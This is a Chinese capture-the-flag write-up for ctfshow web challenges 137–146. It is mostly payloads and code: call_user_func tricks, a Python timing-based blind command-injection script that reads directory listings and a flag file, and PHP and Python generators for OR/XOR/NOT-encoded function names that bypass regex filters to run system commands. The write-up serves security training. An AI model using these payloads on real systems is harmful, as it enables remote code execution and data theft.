web137
解答:需要调用ctfshow类里的getFlag方法。
call_user_func()
payload-post:ctfshow=ctfshow::getFlag
web138
解答:限制了冒号,上题的函数截图里还有一个方法,就是通过数组传递。
payload-post:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
解答:利用web136的方法不行,没有写入权限了。
?c=ls;sleep 3
确实等待了一会,可以执行,没有回显,命令盲注。
这个命令盲注就比较麻烦,因为限制了一些特殊字符,所以盲注的payload也需要注意。
反引号–把命令的返回值放到if判断里。
if [ `ls / -1|awk 'NR==1'|cut -c {} ` = b ];then sleep 2;fi
字符可以不加双引号。-和_会有异常情况,所以可以加上双引号
wp两个命令盲注脚本
1)ls根目录:
import requests
import time
import string
str=string.ascii_letters+string.digits+'_~'
result=""
for i in range(1,10):#行
key=0
for j in range(1,15):#列
if key==1:
break
for n in str:
#awk 'NR=={0}'逐行输出获取
#cut -c {1} 截取单个字符
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="http://873b2081-3b04-4517-a10d-dcb44382c44c.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='~':
key=1
result+=" "
#找到flag:/f149_15_h3r3
2)获取flag。
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://b76bf2c7-70e7-401f-a490-f5963e74b581.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
web140
解答:根据代码可知,f1和f2必须是字母和数字。if判断是弱等于,需要intval($code)
的值为0。
intval() 成功时,返回参数的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。
字符串有可能返回 0,取决于字符串最左侧的字符。
intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
所以需要$f1($f2());
的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE。
payload1:
system(system())—> f1=system&f2=system
string system( string $command[, int &$return_var] )
:成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system(‘FLASE’),空指令,失败返回FLASE。
payload2:
usleep(usleep())—> f1=usleep&f2=usleep
usleep没有返回值。 所以intval参数为空,失败返回0
payload3:
getdate(getdate())—> f1=getdate&f2=getdate
array getdate([ int $timestamp = time()] )
:返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)—>失败返回flase,intval为0。
web141
解答:
\W
:与任何非单词字符匹配。就是除了数字、字母、下划线。等价于[^A-Za-z0-9_]
[^xyz]
:一个否定的字符集
这里可以测试一下:
v1和v2要求是数字,v3我们就需要构造函数了。
1)这里先看一下三者组合到一起会不会影响函数执行。
php里数字可以和命令可以进行运算。也就是说v3里要执行的函数前后加上运算符即可。
举例理解一下:1-phpinfo()-1
的结果为0,phpinfo()执行成功返回true,1-1-1=-1。
同理system()
也可执行。具体可参照前面题目里的弱类型比较。
在之前的刷题中,有遇到过变量传递函数名、类名的,比如web109里的$v1($v2());
,所以函数名也可以用如('phpinfo')
来表示。
2)接下来就可以构造字符了,也可以手动构造。
这里把web71的rce_or的php代码修改一下,就能用。
生成rce_or.txt文件。
<?php
$myfile = fopen("rce_or141.txt", "w");
$contents="";
for ($i=1; $i < 256; $i++) {
for ($j=1; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
#匹配非preg时
/* $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}*/
#匹配preg时
$preg = '/^\W+$/';
if(preg_match($preg , hex2bin($hex_i))==0||preg_match($preg , hex2bin($hex_j))==0){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);?>
接下来再输出构造的函数:
from sys import *
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or141.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
fun="system"
cmd="ls"
print("function:"+action(fun))
print("cmd:"+action(cmd))
打印当前目录:?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")%2b
payload:
获取flag.php文件内容:?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%20%06%0c%02"|"%60%60%60%20%60%60%28")%2b
web142
解答:v1是数字,v1与5个0x36d
相乘的结果是sleep
的时间,然后会输出flag的内容。0与任意数相乘为0,让v1为0即可即时得到结果。
payload:?v1=0
,查看源码获取flag。
web143
解答:加号和减号不能用了,这次用乘号。或|
被过滤了,使用异或^
。
修改一下上面的构造脚本就可以。(改一下正则匹配规则和异或运算就可以)
<?php
$myfile = fopen("rce_or143.txt", "w");
$contents="";
for ($i=1; $i < 256; $i++) {
for ($j=1; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);?>
然后再运行上面的python脚本即可。
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%01%06%02"^"%7f%60%60%21%60%28")*
web144
解答:和web141一样的正则匹配,对应变量这次是v2。
v3有个check,长度要求为1。
输出的顺序是$v1$v3$v2
,那么让v3是运算符就可以,这里用减号-
,payload把web141的修改一下就能用。
payload:
?v1=1&v2=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%14%01%03%20%06%0c%02"|"%60%60%60%20%60%60%28")&v3=-
web145-146
解答:
这次异或^
又被过滤了,可以用或|
和取反~
。
和web143一样,修改一下构造脚本就可以。修改正则匹配条件,修改运算符。
加减乘数被过滤,也可以用或|
。
或|
-payload:(注意把双引号改成单引号)
?v1=1&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%14%01%03%20%06%02'|'%60%60%60%20%60%28')|&v2=1
取反~
-payload:
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1